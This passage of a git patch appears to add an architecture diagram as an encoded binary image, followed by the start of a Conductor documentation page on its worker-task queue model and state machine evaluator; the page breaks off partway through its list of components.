zsK*O<8v;94?7CGIKEsuFl=@P?NdNs(=X-guI|i49*{oRp7taj&W-DdL-wr7+k)tt? z2Y0<`4YT4Wf4G09G1XFexnt~31G}b*FsJvC%J0^DXM{iDzTP;&o48ALT^9p6|LtEv z!B`e*u%>^dDKxA0j6kkoMLQ^RoJ>;L)+oR!?Y6)Q{gojKn(G|vvdOJRa~33UoSn;Q zR^}>EZq`YCPnTVrS`2+-Q%?UGd(q)KaXnDur4Uj<+-s5}j>O;L#`pboU!{~8^T9tw z21mSnFI9lO(4^?Jh@>VPMJ-gK@BuCw{%^Zm`F&D|QOQkfz^|;|kqz^l;fen{RLe9b zS*Y>qjJLut%dJ=Ga&C(1C~d+tRj9bh(hqjGP6v&J8EmsNA}3waeG7w5g^k7bN<`$om`|1qtrMx1%L4V?dykJ?`6 zHBAGrMQGy}$ucRB$Q}{de^X^y;Sk>N6&QYu{EB{_A$Q)_?bmzVC8;d%MdNU_#UwE8 zA9o}vGnpf*9SA-aHsd84GdMwc?&$^N56bQq2?0$m*B>?uGt$-m*o zsV|VvIufTdV&pBro~)r(#7X~&@xM9_$$HoBWP$g8)mjsVg~7VW$dK%0DP@jG|pGc#J^ zq6G6AXf(K@(9t*+ITsB-Kj!1Tnt@5pOR#N0#673vCu>_#Iq;<4ZyxT& z3}dx3$Rl2OQuuF-bJ=LVG{2K0uIL~4@EFLz0(uQUui}@eX>cI`YZ$?a%rS~W_b~Cp zjv4ChE?5pf)$01A@_j1y)d>7ypy+@FX+kN|#s*j(aXwTWtq7_&r1>dS)&D-dD*H-KRFhSv4rHdo}2p@`0#mTO$_dPA*_jLs@>~oqaMzfQyt1thPkblh?Kav?Nk6R>= zwtDPqq_P>0j%9FV0ENpF#h&@03>};CN^?Ak>9buxpNQK7^YeNn*TROLq@bWzbyHIB zk@Nq_ZyHgSac2>22AR{!+U~8R#)%T3QFc5DAKQ%U`?tSE%7l2c<7*lIvx)d^_XX<$ z4D&e7SE}?Ifn+feLZHuZ$=3mc2N!0=@tYQ?6J|v~K=ST+$d|u;QAyaohBGL3d7A5u z=sm~X1rj_0-2=JG6TF<}kHif64Ss@Y-=*_8lb`myi0%(L4J=ukDMixFSpEEZF9*5!=o-rf!A#h=$LmU0kFSslc#&wB+iWiHwH71O(svxU zkm#BQT*=_ociCcwBBYwJq*xZ*fh#L?0~Yj2<1%_yJE2m+f`@2Bx2ZEbBM z@68AzdHkRlSniK@Rv7t`j79JX+p}X5yayA#su}2iNz%6dM&e;5W&hE72AZ*UDty@k z2rT;AEFKpZx9Y|khfWD{_a|>cyyDh=YSpJq@xi63kcLMG-Y9P$b8a2s8CVYBVVkq- zK&{YS@QQ!rw)}yqBDi0K_WatCJ8hSH>CHfw-mpcyQOaKtz({xNSMF^k8aE4Z53WG{ z10=#YSgj!!3tmSFzx^K;!1w3=uR#LSc#cEoAaWs3mP*~)aq&X$%59Hfcqx&gA2NUz z7JEPjcEeW%VjFdd91gzW%$5KiemSmwT>2fUr<8YJG*(1sH)|Bd< z5ezA-a>zC^3RIVcX%zgP1M+qFZl7#tN{R&(9_Mrle#fC_ zf055Y(XxbmbcPE2(R&EokP}zm@D4=`U%xq^0X3R`any2>O+j6pX0{PQcErNB3h zh;2;DwO9COmYF8+qyZF_VL{QZy$P#9lTFx$^Q^oaboD!CMUy6|d9g|Rek}$C1}{*a zPv9rTP*2F~(hN2^ZOU7ZS3qaK_%zS>aJz##Kk zoTJ4bj>UbWJZD_w_mWBk*xQRdFgL0TIsJ6=8*tf9CH)V&)gr(I3#LI&@I6705QGxo zydr??G@TSlz!}f=YIf z_CLAXzmrwhA$ep#o~6hBH0`gLt+%rxHmj$OfK)CT)_}alGCq_sbC6yDoF_}4Pje8) zFNvsw#&SinG*tv5!q5eycYZExxXiS(4oLj2R}U%^^;uAP1?y zwbb_U=oG%5(^l38!6C;oWLm!Mp-&crvCTr7x;i=yW__UU+btB)=Ua=aW|D0Cc=OpZ zb&sP(4l?ydl`_A{GBxBk_{;#)olD_KByo`&z1%eB3I&%Z(f(T(l~sMPA}M-SHt$+c zwh_DQmNcD8HleSHgamZ!MxYRo{&w}5i7)&c0_)~{-g(wFgMvX9f^g>6YJ2Y&EUQ<` zzK+of?<{O)vbLaM+C5ho=-D!m&S5dzYmOuO^xZYz*hC`3_K-*Egk3yoTdx@*?FTAC zpo;nW2Ux$HSL0#RJx$`LZZF@)T>{uNlgEAtNJQ)7+wkwtmk8q|qn{t$m1sXSXT(be z+6V%660MB5@o+sLy{Rr>TtxZ=YgkG@S;CJdmFd+9T+j!-;@$LWOCMsEmvZ zO|rtPo;v9`9k1y)Q4E7e<0NBc2HK%U_u=JfL-XB_f-MC36CQ{r{`gj?jf(Ms2ta@) z%#*4EnmkC;h_GlHdCdks5|MWIZ169=-vH#9jV64|x?Elap+lMy$m#(YU|A^PVtrgD zaeXHbuQ!NnI1pXwEFCb7ETu$0lJN(ECkUxX_@19I!%zfY`T=`G^MD`d)rt!6yZ_F; z^bKJxBR~n>qUc&g(Z!V_4ABtnN|8TU`ccj1$h7vh{=GJNK5p@cvEUoFP@svbZgcZ5 zeFYR`Th!pn1McJ;r*dA0nJDmM@Uy<(nAJ*0uY&-y=c8)LB_pi{~CcsvFbZ}&9! zR)om#k=Npk+D*fg#5Sl+W;}2- zdO==EaKvJSkI$u==67p{reag@nZoEL&jqvVEpJkZ2un2j=vmm^1D>maS2C2^AnaHP z3T-goP^B99(wA#&2v*ZMyOpxNeAYGl=2i4>)igUQ(8APR_D+)RA$h$2Wsz);AFd%F z+p;OI_ZN2YqbRnm2hQv|Rz7oTO;4u^^yj9FVAVSR&`olER4hCEk79Lon7hg$ zR?5?#-<_|=ewl1QdF&kXQKTRJr1I!CLw-YtrXWngUn$9GP#n&d;s8y16#hY#C5+>e zrdpYo$;|w1*)1tUFn)4=ov!j*K^$+ie)}pj)VNQFnw@~;?NMA#M9M8%ETTUN>A$|n zmV@;^Rwnchzc@Q(e#HcPGSFUc(C7#6ph4cFu7IzD z=p!cg<{_8-XX8!Ql&yo}P5!gKsDOCAXt_fQ@a1gIiPo4vp+cRM;5RBP ztEVjH1ay7|(SxmO#eX^% z^tmuBvIHgy^WG8A#0K;zQbTN5oWV_|pPQ^_=6P?P3ISnWyvv2Ctikk4bb^^_=djE30()mooPA;0VgICzSL zf`J64oN_1=53;A*7oT`4knpub*``H?#j2qwVy{lZc2i->7vyD$uPgaBR%hwPg~}y3 zgT}^?L@kbpqJR*pLl3J+U~@?Q7By0N0Z6;7XGF5+OVclXUnjydxBO3$p{}47h6qd_ zP#YqVi_4no9T_vdXj!`>?ybXYQ}(5ohM*q65HheQ>Y%512@H_Xjmm9F3Yiu8IA`bm z+jhc-##w}i`1z*s;ta2fZp?`;q^50-4nKWM044t#!lP^Xj@>BMoRCC_gi+amw%{Xn zCT~a~{$wFhlMVXSp+wGdU#-2C7JOcOl?fV3P}Q@+<>9II82U3y{}70pfe(j^3=krm z47R5*DsDvIWaw`XjM;sosIgYe-+I4T4EIHrGIB+Eqow#gLka(8cM_cJb50Ro<}3Lf zuVI+BlZ|4eG+9K+ijB0`33Isz-_;UXEhsg7J=xyB9HFMHtpz(c-L&7gK(7f&o&Z8o z=6A7sCe}Ef2%glo6s5tNV;qgs*P~Qa*c7Ss98M9_d^2W`4|Ut<-BJpo8Rs9PsgQcl zDV)vSboqu|ZS|Ewc#7qW^-&GkB#7wgR~6dW_t%ln0imX?Yjn$@HWtVzfaCn^%J9pV zvny`zQNMwZCm5g}N3@DcOr4Fp%2;ODr95^<8qYSd6scEoqZ#T@Qm{wGmux7t)Il zbZ!t{>f`U@Vp;Xx_A!nFXBsLn#`0o|7JCka@N4G_VD-(9pN`k ztLc`5Be1s~AKJHEN$b#mjM z1mT+aPmvQrenAU4JApsAcoN5l!(HduQwh#4|(ZiYU_fRWrof z)&H!Y!H3Ljc774Zp=4cQpCy01Nm<-xfJjlXfHS$#W53>*giox8H@>820db?8YxGqT z*~HL&irycaho?Rj1yrc2Nljie^CjkgQlq0SQ-DtD1%Ph?u)wWLEm|?A^%nc zjvwrHptZGFNXH zT#EYJ)O+i58y_W^6%XwkTZ{4YFx8W^meI-E&`MOo-Bm|UsgOdicOTFqTl2z@zM3zP zQFnOoK?1;@dX~DlSV_0_CzXoKI^TEh{Y^DIjyHfUn6=BuXpFXeBqbxZ zw-khMFn_60d<+3MZUR0Vo$5@vpC6o6!DaPysHPp?*aMQ(0Pit0)>F_|!P6=ZaidWEpVmG1m5=OmySg zjS7d-gK2mI$c6(jSgwgIjqi*Zn(H0QEmA@ZnED# zvhttQL2B*uVSnny9_L~W0vVS4>F;&S35l#mm#8~)kLd;8-y!qweE*!xvY_cSJs-o0 zaOF;#mfDyc$Q*=HJnw19l#X~Qe}xV7s$PR(4*W`fya&LGhzmA_{=TSaH zXhLJFn!u0=XbA}-44fup&+~qxwmsrR9~yc9=3XZ@lJSAJ`L488ynO47!S1UQi2em}Te#cyqfrMiu2IYyO5BB% zMhtA{70VIf9o9J*g-$g@G_0VIYJlb^#~4?lH_Dd>UW9H}(hjn-kYSd?ksitNMe^WH z*L)SG8T*A$61K3$$hq5kb|l-aD3>uJc1K?{w)b}k7yLN!pP14Brc#?ufWLMn>(;iu zbwQn7;Mh4QsnnI~34rvgN-1Z_3p`!r7Rvr7;)y145f|QnjXXb`>Yx%TqLb0E6(W4l za&f7OExJ5hA$fk_1cV?kK7SaEV5PA%jaN2Yl?&P9oEHD#Tk;usoo{CqlQJ53+SxT! zwRdJ~mx=^cJYS6yA>{){)Ozf4vJQ?d@J;(^#{#^f|_Veo{ja5#Qw ziA1sqS}uOlqc$&w?=kr!@plmN-gnZ*Ud<~1B-q_8okUVpVW2MBy<3n>`QkN{30(wL zxf7Z9QH_}@IJW3^DF{)?7f$d?iGPeeV|`F8TM|I#0Z=0@e+Wcev6V5-tVayMX<=oy z>QqO8w2QN1-&NrE55j1t;WYFJ zy)i+(ep@`?CNy~6D=!6b<^7ke1&(-Rt{ni-@f*b-4&3%|p)K*X>~n7Es_^C;6;Zc< zqZ485~0L@<3rt!0oYe zC$684lqigLBX+>}X<&Zl>!$NfL~ctuX#5hB-n1QG(fJ@mil0@V$S!r+ymkk}Mw}kJ`MfoB8HQbfln>l(L450u?qWtFhsvT@ zqm+?$(>9jHJhFFbaS$MN!yZdNW=ys;S`sGoWdW*N_#Svw?fPRRoiD8?Y>UF|KA@ia zxmBt$0X4r@Njwb}SRtRRLv;$kPuNIpH&(aX9E{3hDKvtyYSJ`W%6!c7b#E~%xR$B} z>ShAj15!(kz#Jbg%plNb$6f`c�umR2Q0;<>#r;o?fI`^>Z{oiY3dd9ZlAbOLWq0 zk5|6`OoT&&rtu<#@iHN3!c^_sNm-P@k^?C1k!f#bCV*Uq%H=puy131rj#EJ!KCtwi z!hE7%6Oh=E>Q16@{2JYdF@BBBY5wp_DXWYrOl=4ZXk5iUn%-APi&dZU~+q!<$B~LpS15-sKCE=GdOyi%}bS^$l)oHrtbu?xy0B)0uqr7`l77blie=7e-~KR zZMW^%$S{HiueDeZqB5rQ1J!68%TGK7s#T8jNlX%*3QAiF!0OAjfVHwS+D=MH=DGaG z6fV*3*JGa)okE-sirGS#rXVvCgf*6*Z%ZC~vEOyo4|Y&v$TFxv%TmaqjbjYgB2N}+VV?Sx1Z*hU4kmKX<*Sa{U>=_`CufL37zbFwSV=6c zy<>xQ7?}5HXW5*KcTnEDG62_W0G1w1rwTk9q3gH?Nsr$EMdgY#GcqJy0)I}|X{ND8NxdNQ zJyPH6VSnl%4-H5Np)Kb*H;LJS8XYT&wiu~BfRZ8`?iP1hbddevT%gsLBW|&<30#Fe zu`m@c@W#nEXx>voH}EFDfgzb3a3zjMe@UZ0Bz>p*Tfsyqik%?H%8*S%u2U1L$re5n zDJ3JLn5KtDYO+SF{|qPt6EC#h<>4qDjFdhbb5 zMk~^pgPDqoL(6KtC^jrOh4)bGn&onXZ^zw-Mv^NCF_U-o!eunA3^w8G>cG|~p9J@S zBPT}od23AFC0&Lu%ijo{khnf9kZo%4c&BVE*3cWdyYAW2YrJp0z?6H9Fm?OD_2-H! zV%RC?f>uyN4^I(wGHITidI(yGKf66R2jlfZr(_KmzM~~c>J3P;Ag!CWz_$j5X5B{Z zZAa06@&&qqeE!khqxtu!Q!_M_F&sAaP-GBrLV7TBIh!w$=w**y;xTU)R&MsO_sqLHH9Nyu+-~J%$WnA64GtYN4Tp32sTS$h#q;i9ceZ00Kgh?|>NfmgJt+ z0b`~H7Z3BNEobfE}Wx2~>toeO$w5S;`y z$)@QeAH8e$d6TKN)!WRd1IMwH2fL)hpw9-Ay~1&M2=gcJfFsee3xFzZHA<>*t|Ib2 z#wY>LEY*u&^n{*J-AY&3I~SXu&FdD_`$`Rsh$Yd5S5vbs8mZrG_G9nDwoZ|UgY%e*Oi2uFtJ*iiaJnc21i!{AA3*x39% z`hzNwI?!~?cww_YA=0t+8i*vzc71a>)P6&+FKeT%AWbto#(`2c?9{u>(>}IE+xMJN z?G-{`G1b8=)b-2;)KQwe7YY?I`&w>EiSi2rOFG#l!G*My*n7zOb6vys-rT$=7tF7bEJ~8=LB2lGT2Vh)9U9i5 zI*N-iZ6+}1F4XD+itr|vJkwTB;p|XLerSexK-y-G;^t2;NiR+uXdufDlJ|nl(dWi~ zp;VO`19+Y!s~!B9dKM!H#ffuWXE%v2d|T>SnfnZ0%hgQv!t4k_V7jgQbd^E)Os z=o(j`Z`xVaFbiXhSAmuT#z31_PutBdBr0BBc`O%&tQBKwe(oIeV(hOd7hp;$akqYA z{B3|*y0tlyEh+-3d)oXQP|$CsZYsiM^$Q7o`)LA&-5i{jR;Nc^h)-}9R_+rd91{xN z4bSUEC`4f+1j559O}CH`dGmH^$-Z_Uqs6cD7=D!4Fx*i}}or7T}U zaxq@&fZ?C9NKF}R1?-F*cKvIhAH*&4YG+Hd)!2`lq$XjheoO4H2Z-UUKR~SqP?(S-%vk#bjeG!nARG%^bH6v) zY8U;m`Da~^c*R*BB!+;w>UH0@kA1KSyJx?kwmDh$R~zUvk%ObJ65{Yz%2=AWrvwhE z6v$7AFpApIo4#DHD1&p@VAiueSR(WF1RT|w+@1F~T${-g=H~=`wJ%SIqq}!OYo>a+ zg~2H4_EtrIwFix{(_>bqMDsu*k3$N^N+`7U@|-X>e>i;?r~000k{Cp8kV#$qqmi^P z-*?{)=#m37w!dG&=$AKZRqFJA@~zV+vDrXhZbj=}ZjQwNRUpGEe7$buu7J5D07)O`{@7%AJ{NF$BwHQ{)V~YVMXVF&xR047k z7V`%JmzNp#>m_4H(s+K*f%ly|Q4_&14AuyE3i=j7tFbh}axtz+u=Ok{4xpbQHD6Wv zr>*fvyoM>r4}4D1ai?Z107e<1yZFVNl6B013X+96VGTWB(PNQfC`H)W6=3i7-Bq|$ zLE^Y3cV?u*2A+!PWb93V14j=r>iCb)=iiM9#|5T&m^j#^zgdCWT9&1p7j!#T3~(OQ zi;49NGfD4lkRpRLWZsVcBJV>6BNwsEpe)X~9tDNmh*-r)KO)oiuh&Rl)Gwfe(za z$5DjY%Pe9pB-xP8ECm{#4;T54Z_BDYh@HxdSOI|bL_J`B5dhdF^^rbU>+yjWWw(Lu z-ZR|PQU<`oQ=p{|t@usAz_>Vz5AvKmglY6>K%!#E!B%o8pRS}ahx zu#xJ$Rw-FEDOp%48H^d|bV>Gz*_-^HcrKO0EJ;jb9>L9o@ZZqMIDc4UCN-lG!KOXV zxz>H4uQdlYd&A1^9uig2lV7|R3i2G_#FTn##+>g7kMlfl2Q=KVU^xYx#G|(wzX;EV z{steO56+0sJE%r4kQW!_fIL1D-T&3wTUv7`PqLer>~P$SY9H4W)Nty)Aq2uv=b6haGh;wbq@Y6$Nf#{>scJ`hEIflZWUg~orcFJE}SfNWJi`B>M-px-D;NuC{S zm;`&qtFJ{Pk&RsZ?Xv&dvFgDB0`}i!V_F}x;bSRW#Z+k6i7#=0dAs1R37_&oF!Fcj zeQ)ubp$!Og^xMCTd=)My%)DlPc@omIv2XtT4-3G{G8>xi}QG zm;83PUZIKxyUzISpUo>3U1)_9VBiOXPc~bE`*kxxagB{+u ziU2mP?hv0`Guq*MYK~NM$=j>6*9FoXM{Wn^|GlyNYll5hs&=p^Sl4eQYGIi-^;OOy zehIPw6qY49FaU~#>Yozxt$8E^-Jk#;hfR(L`TB?j?kl{?W0{nnb>Q~rkF7bHXw?F( z13@5s-XTZs6OJKzOF6^grV{N}mpP<9D%534W%r$cwv$wbS{ACzD(t!?T^B+ zo~zIXrrLbb|ph+is1%PRccTs4!SL1SaYhE(XSDiYJWp7T_7Vg)#2IJbdVwpK{ z7>2_;F>+3wU)M*tgu_oaa7z-RpW9$54JhS+Qvj*y8qmm1ISD)%?X}R>l z5m+*4pCD@2Rlb7qlaAcs>SUt-{=pXZP16MSM+<;0mYeV?7?SP4x*P(4bPZcPp3zW8IU#oYMEqj>!wz2VgQ;0mV*eM5Yvw{;vK8&=D5hx;M zt4bO-FI#_J)zZ-Tezw`a@bC<@db+*)lkJzn&8ibA(6LZAZHW0wFNJvbJT_ z6z?DY1zI~M4ArxS<0;v|N}C*4JgZNC#WWZKvsV10)nX-zu>Mme3QD#( zIl7$S`wIYQ2*JF5g-3h%-{DyPz!P7<+?IoO_Eo^9 z&Ul+*S3mY~Z;Mtm>~{-LOgD19%dhsT3#cjWIzpTFc)l={?lC;7Sa8xG{_q5p3#S4@ z3t`s$T%&?asn zvAvOR*u0?VK_3FQ2HpWzO5hQZ|Ej{|_Uj)O0jEDXUREzpH>QVv^9JKWr@~MN3$=MM zdiwOg1Iqq^Cbxb-VL&_b@tpCIL+4)L&<6r{#GEN)kd2x^;1hVmy&sKF%|0hAcs=mJ zG1q682*3;_6=*HdY87Y|{~O@_zK7W<=JwAJci|5)#e}$u!P})LVq;fi)HjaxgZSCL z2jzzWLAPg{K(hsIfN-j14|RZGdA-ysVvu>vZB`eSx?a_6?^wA4OIP1R0cYsPs_MTy zo_9NGwYs>7<568((^Q$-_j)y`=;s~U5VNZC1 zbyF5bF2-b5G*!I>paZ@bn87m*hPDr8j{7 zfX?ecf3l37puGE&YUniL5njb9FveTMMCXU{$}L+Z9A|_QI0(9pA<0PJ)^@4^MbY?+ z$}HjMWNkOvb&NdsE5>CriXs=7YWt#A61C-o0_t@xZ#Be6ggvbHDzq-#KJ&=_Qc5K- zkA(x>@gJgpPGSrL2|o|$G!5OJU1lwY{ik!>g;<)u6ej?m8GuI_fJy|(g=c#~ySQJv zHmC~gq(D{N&VJmxy$OH^U_V5SIdL?>&RR6D*@y7P;>ZmY0~;kq7l;|E`-(boD3d>?x%5Q(xi`{0)z(4F5VT);@`qdvfN9* zQptWFJ|6xcB3)BKjb?xCN)XWcaCB|x{&yb%17ZFe09Os(QH|=kZ%uFZN{I`cA)m?R zGn@y%uIyA0x)z#MYFr3`5GNq}h@e(-}Ec+ zp-powi zO-K)gJ|nW2fNHyl-b>=W)qXh<=j}@3ghr*b8N3sb7|w_b{v|c^Zxu7~kf~?3H-7>U zNoDH96nLpjBCvxuc@_#(yC7WA@@AKWdhMe=w>M*anw9^rz3+N!>WSJ7y-O1i5_+g2 zy-E`ekWfUBD!n&>(5o~73DSEDbtO)N4Fo%x(=y2!U(Y54$z&NT<)#ETgu7z4T zQN}G+uN5vU53A?D5neB@$;%kyi5S}`ZvstT2qCb?w)2DgXyutMHt1KPF+-$fID&AD zW1l1j-YoX8ZIpgXJynk6+CKS@9`gyypz(545bZp-id)(_}!nL z2gvvZrCz8~@Zk~7TdHw`W+D%=y*+`+?<_R;?MuP~2{-xj)qZ;7QvX7{)E}a$dYE7t zgbBcD;zy+cj2iawc#PjEYpWuI+0OITk0<-6t&h`b=qX)?tNM`^Nb@Hqzq_UD7#m37 zeBEke2twA=Z(6p*|Fl}!Kn6tKj943^?ckPC$(C+azMdOk+@h{%*2mh^!yE9YmrLHf zLl61#sqTV$0is5oC@~MwCg?lTSIJA17+fq&fd>(Y;PrEE znxGXTpV{*e9X(3N@fP*PhJ3NOMHiU*B_;UMZiD(~t4NI>s>nwGvyrPEFNQoPbnB%i zeq3JIpcV=!y6y;8M*X4fStB~ji-YsKbu>u|HDH(^eGSN3b=I`1@ zSUXU5z#S_r69*i-W8a+|YLIUsK@tytkDRW}6+2fadzTz@cdPi06Vw~t{To#6R&+EscnmIpS`aH1F4E^}J^_^8$w-NzN7it3JVBrw>nYt?>o>_NehfUrT>PIUX#9G(z*f-56cJH8c5Nqvm7nE5 z%5PVFH)zg0*bLl%S+L)Ep{U?vgz`pRC{{$#>m@q6d+E;LznTd`-uBUT+=NF+vH1Ir zL?} zE+)-ueIsY#){WC!P5L z7aufUAz&z2CMweh=M;?zan%-!(eZ?zpKkU|omj}7=*wP4 z2@aH$A5VK99_jSPt&B&v4~a`}jFn!T=rnyHOOeEwsMK%C*#xebBiX}O{L53pm4Vs- zci!Bg%ym^8=G*uh{K66sGsZmEbvXr~0MAYY)yVFs4!YJ4Vv5SW@~|TzbWpJ&{7VXv?qX+Rzr4J(YaB^dl$bfZ((PI>qp;2>I}(h&E4; zG;pO@jpitR0rc`>`6S|5Y$UX*aX>R2Fi<|2=A|M~VRmMVJ+_`9hbA}->^9u2@SJJk zXKScWy0CsHrWu;N&lNZvj93vbzQ+E697|GVaX?dd#uJeY$XN!nb=u;{Kdw2D(o`vj zV#s2a9~;rPgFno@@4D0cd)1FS$6oFm)qO ze9MC6$%JKqF|ML;VYmW2dw3S>5dHi@^D;(+U8H4|@C&s+j?0^|gwOr1@w;Gc(^;kHpS-j_I>56tvUyC+E z4kVB$8kqjd3g@g3if9>8Fv0_ynJD7FywTPO2uCF_#gZhC+tH>A&TSzkInd5l>w3@I zHt=PS(K}J4S7*ao*y{ADtvn4a8C4FX&&oZhNmt(1hIC`>}Y`1`;gwt_eNV<`TN9-zk!M1$_OpM55Ds~!?i~?%2V15 z>ZPMnp~Zxvyf?yRcdv#8xYdz2T`^;Ph621Z3DlWAo$tCks53%#-ug7W)7%$t#yP$= zo|5)$a2|)?rgn*h=l7(oO)yN)Xczwu|2j<2qv!|#ClviM`9Ys`EQMc{p)A-}EMZ^N)k(pM3FDv3lq3v>bC%_Q+f9W3^%dnm$jq&Z zJGkZxxqD|{5G2GpWY7GrL`pN<4H30nkH7@ocqM$A5<(XWza#q!Zc02tb`hxKxiMI{ z^6Jj)H)jx+?YI^~$UZ3kD%vX3o1{MaA&+F8>qV=~kZE3GyTiIG9Wy;`diqCUi6aUe z8C4<;^o_T{?CACB@!(mr;^LK?KJku01YcBY>4sSTCkKB}#s!rbUjECLmA?!Yno@cq zGOP;%I4B(HcoAV*7ZrML>_TpIO_?ZH*(Z)(6(eo{O3+pG?CQviE$M6JtNjN45Zs`7 zlNT49Z!shTg6R=m;oU)m5==$j?rM{CK9z(T5jb~35MQbPT*u6VEmEIVAn(kao-L~R zV|?LzGS>ZZsX7HZKzUJl&zJT$yE>Aszv|&y!!r5Qfr-Y&7k_)il*g@bk!6w?L>@vi z|M=~08B!IgOy6-cZIvski!TjT{~SpIy>zOqc)q~o-g5tH?is6a#@_Wqbl=O7T-a53 z)J=BU^+$5+%BunTzq#jl=lE)yz#s2M!I?Y1Ol2*GaZ*pZlmi?AOZGk;%t#ddAHL}i zxe~hg57M54S5<~vtQQ@rTQ0pGywWov#r#2q5mwx&n^cq|b$!5d4!{&IeIXSKg&pS{ zHlz*O+9qe^CORn#!;%7SDkPL8lr7jZc*rlouq{qcCA3m-$_7^*qOYTI? zH`MXHYQ?rAz{{kk0%y}y1Kn4WV89N&WjKAU75GBnVKhM%O_reejlJyF0s8XTKiEu%ME$8=&;p56 z8UiNc{XQ8=B7se%z`Y4}8m0*?fg($yGI<(H{1ODie>1rk_1T$Ngz-3O`;v ztV^vYI{gxLUAw+I`tpMZDt=whBvgsv_8cfyqF-(~(cPWg5^8LI##t!7PZkpQsm3U& zjlqa!Va%#_8;b=qb3g?x_Tz@&bl4wE?5I#JDCQRZC;+bSYfSe zBUGDNKiObxv>^()*mL4FRkLp^mS;w8?q!r(?7VtlK>iHC$ISW|v6&phoufn0(Y~a)ilJG<`ZrtaD#a?XC$LgU> znEvFb>VIitdH?5Y{46fkEl$~nYx19D@x#!-!JeFoMUP6ux(-~jTILlC{R#WJink)I z%g>p2sQ0wM+QGCieZ}UQ(2Q)~pa%hj0U)@8fgU#yvZwqQZ@!9ru81UGRWk8SGx?km ztLxbRDgbIpB`+lQXcRCDk=|?d_Oo_2_~OuusOWywY!FhZxrN?kbbpaSh3`k81d~Mm zO1ug!GAC9Tsv4Sl5AhI#RXNJzTjJd#i7{Bc^1$B&D0e@ldQ@F_7jA^g_A#Ohg{4yn zYo;PmtoIzlm}Y^6)~_GAV>DV01!d1hCx75(z7>Ot;Zj zefh2M#V};XTz|Y?G-E^RxP(Zn$lIT#F55an> zrToh zBCw7lPcFH~lvrrSU{Havg}=bQiXOFAx}nTJ2Yw$Okzr9)OVt^`k$qhajuyURrd;XFiPK<3WD_LYZdwdh<~%_Zd-8Dl{=eTIO0am(pRu>9RSJwL>C78 zEf=0cU~%LxR^x@29d^ajX%pL4i&##$R%X^OYkBNW7CQE=)r)>_!vt>aRsXOk&AJ%N zYsO5G@#8gx=az}T6YPRwj51jIANOgi&zV%5n{f+{D{xs0vgy!#c_HnW&SI%-BX_ik zh@@P1mE2!~Jj|wuEtb@SX{FCPXa#YQWhEaeMOZ(>CDmBX=C=L|GqGsx9L=GaTPD1F zL)Ct&v5{qom*30(d~?ChdBZ4+Wv<-k$75|`T!PjjmNEIh$&M_<8m$h&IR3tJ`VMLX z*@?^6ma0GURB8&bP*UxAmm+9YJPqWYv_4%&g@+L?e(t=+dcuD?uKpBgSo&R4ZxQ@O z9=!ux-2tLonX08ndy!&3;BkF7!pcBOutNc_znt`_RPk`THdt%?XO4m*kKLE-hTw7zSy+c#pPyE_Ac^GP+ zoklJZ%ohc)57};9382Z*EFs3l@j3h%F8Yt7q@Q!I0`*&Ue}9NLtTea2D6qO1YV2|@ z@U4=wIp{d7a3T#pc-DB~G`p8eDW9Q~-v=C`kYd($QQW1M(CII4DdGrHl=>bG!9#4u z5>{c4d~C?-OPhcylA*s60+QwvuQN}7@SL-mt6sCsyr7Ex?1`{&GP z89f?wG2zv~xai1mt_tbhtD8wCAn6M&hne;@o^3SznicheoDG;A<0(ieCOTS%R}>{J zlq3eu0KWjoQ@rTB)0SKxSCw}6js3i5o|vQ;&GVm}31K^Q*-4wkf**tGfBe=8nL6QgVG%F@r3F|Y3Oi|sc<#`_+ zy&w2~qYtBKd#!q6M6DIRCdI5ivp$7BXtetx~ zJdk##jT3TE{3q6=xFD9?_e}ET^@9nT^C0xN+~8!Ic?3$&M5;?3abxZpjMW=yoQ_85 zl}}0!c!>(2I6^-e zolSzm(%a9h=__XnjT;K%OTTk)0p~d+J)}Ty_8rd!Nf$yl2JGOq?<3ZC?1X9uAeFBc zr*MCfyksPFt{O96_@HuGt!5rP@|BfTybiyV)f|r{5g`|f)019Sj5uAYLu6Bq6#*&_taKYQJ~%foxpSUx~9X2=k^X;@3}voC}~}h$&-Yf^&Y%qzB$hgh>f%GJDKQhL6R{ z-=DezguQoY`=P~`gY!zmTx0xZ_XkmD#)h)I*c* znNdxa?d_D(MOZ9GWr+qhUD~soi32?ho5P{G77yEh@DB4ZS#B~ap<-n|*1GUF_PNNW zP%v9#$JPfuPcUS5neDHH@(^W3>`^28i)>*yc zuk7@<(0Qi$f(`7dHY^}AUEX-8K4oRFy*&gd{|0yV}&UGu~g^F+h>usOVI+7_mkcN;5r zsWe?Azy92OXO#7Nv}p+)@4p|@up z!-=HqM&}amgQXX12fI(!96w?e-%wZrEdp3IY=r}>%T4-TtBT15Da|>#Jme(j_1UcL zY2?kKH5D~%j>O9CJuWfD`62;*S&+0K>r-G`as#kIqR~S6{c&udSZ;nW}+`EH6zw;)iw-fdt5zS=Zc|S3m+5z#Nd9?wCDNom?{t7lKtWamRih zrl+VkPdW#!r&hV~h!#L&+3?u#3kOy#O%|f(y{8NE!k+2rj+JHvP(X9kN$OSBzSe+!S+pD{B|V#x2G>#gQiD2_Gbo9_ z;e}RQAz>lcc}nHg6+pRU(g1Y9{7>$>%Rb zq73r^RHzeqD{|e?4&4D4*gsjE0XT2rj)7khjHy6>f-y`fbo@ zu5CQ~7_?V47_!VgE$BxQI+Pp6=Z@Rkj7dm$#R(*?n~Ll7om^Qeycj$;bBlL$66XDL zoKH}~^#l>VZLRz7Oik0>iA28~9@*GjPWbU4^I~YctD6}3S6Auhuk@JZU=6b$d~K1= z|F;3@j6(XXydi1NN{sQpr}Q&LaIcBK;}1l|;)X?skGR6g#WSKp66rsyyZ!`S0w;?) z0Dp|+|7qBb+*Nqoe8|%?(YBJrEs%r**S1u+iuU8opnsNyd%0TdUl*m8&iu2Q|1J6d g_y4B{N=I+lQ+#{vhWMRZ0k{jM`W#aC)GG3S04{=m{Qv*} literal 0 HcmV?d00001 diff --git a/docs/devguide/architecture/index.md b/docs/devguide/architecture/index.md new file mode 100644 index 0000000..9d6d037 --- /dev/null +++ b/docs/devguide/architecture/index.md @@ -0,0 +1,49 @@ +--- +description: "Conductor system architecture — worker-task queue model, state machine evaluator, pluggable data stores, and RPC-based polling for durable code execution." +--- + +# Architecture Overview + +This diagram showcases an overview of Conductor's system architecture: + +![Conductor's Architecture diagram.](conductor-architecture.png) + + +In Conductor, workflows are executed on a worker-task queue architecture, where each task type (HTTP, Event, Wait, *example_simple_task* and so on) has its own dedicated task queue. The key components of Conductor’s core orchestration engine include: + +* **State machine evaluator**—Orchestrates workflows by scheduling tasks to their relevant queues and assigning them to active workers when polled. Monitors each task's state and ensures it is completed, retried, or failed as required. +* 